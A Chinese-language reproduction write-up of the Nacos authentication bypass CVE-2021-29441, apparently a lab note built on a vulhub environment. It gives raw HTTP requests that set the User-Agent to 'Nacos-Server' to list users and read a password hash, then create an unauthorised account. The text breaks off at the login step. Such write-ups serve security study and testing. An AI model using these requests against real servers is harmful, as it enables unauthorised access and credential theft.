漏洞说明
Nacos 是阿里巴巴推出来的一个新开源项目,是一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台。致力于帮助发现、配置和管理微服务。Nacos 提供了一组简单易用的特性集,可以快速实现动态服务发现、服务配置、服务元数据及流量管理。
该漏洞发生在nacos在进行认证授权操作时,会判断请求的user-agent是否为”Nacos-Server”,如果是的话则不进行任何认证。开发者原意是用来处理一些服务端对服务端的请求。但是由于配置的过于简单,并且将协商好的user-agent设置为Nacos-Server,直接硬编码在了代码里,导致了漏洞的出现。并且利用这个未授权漏洞,攻击者可以获取到用户名密码等敏感信息。
参考链接:https://github.com/vulhub/vulhub/blob/master/nacos/CVE-2021-29441/README.zh-cn.md
复现过程
1.1漏洞检测
http://目标地址:8848/nacos/v1/auth/users?pageNo=1&pageSize=2
在访问的时候,将User-Agent
的值修改为Nacos-Server
,发到repeater模块,看下返回包:
GET /nacos/v1/auth/users?pageNo=1&pageSize=2 HTTP/1.1
Host: 192.168.112.58:8848
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Nacos-Server
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Date: Tue, 07 May 2024 01:33:34 GMT
Connection: close
Content-Length: 159
{"totalCount":1,"pageNumber":1,"pagesAvailable":1,"pageItems":[{"username":"nacos","password":"$2a$10$j1O.6HQN8V63NCT/LNAB0.oyDv3decr.zXzTlJNOuCWHTgvPJkmr6"}]}
此时看到返回的响应为200,并且包含了当前的用户名nacos
,密码为加盐加密之后的值
1.2用户注册
在下面的链接中添加一个新用户:crow
,注意使用POST方法,并且需要将User-Agent
依旧设置为Nacos-Server
。
http://目标地址:8848/nacos/v1/auth/users?username=crow&password=crow
POST /nacos/v1/auth/users?username=crow&password=crow HTTP/1.1
Host: 192.168.112.58:8848
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
返回包:
HTTP/1.1 200
Content-Security-Policy: script-src 'self'
Content-Type: application/json;charset=UTF-8
Date: Tue, 07 May 2024 01:36:15 GMT
Connection: close
Content-Length: 52
{"code":200,"message":null,"data":"create user ok!"}
返回"create user ok!"
在浏览器中访问
http://目标地址:8848/nacos/v1/auth/users?pageNo=1&pageSize=2
此时用户添加成功,使用新建的账号登录: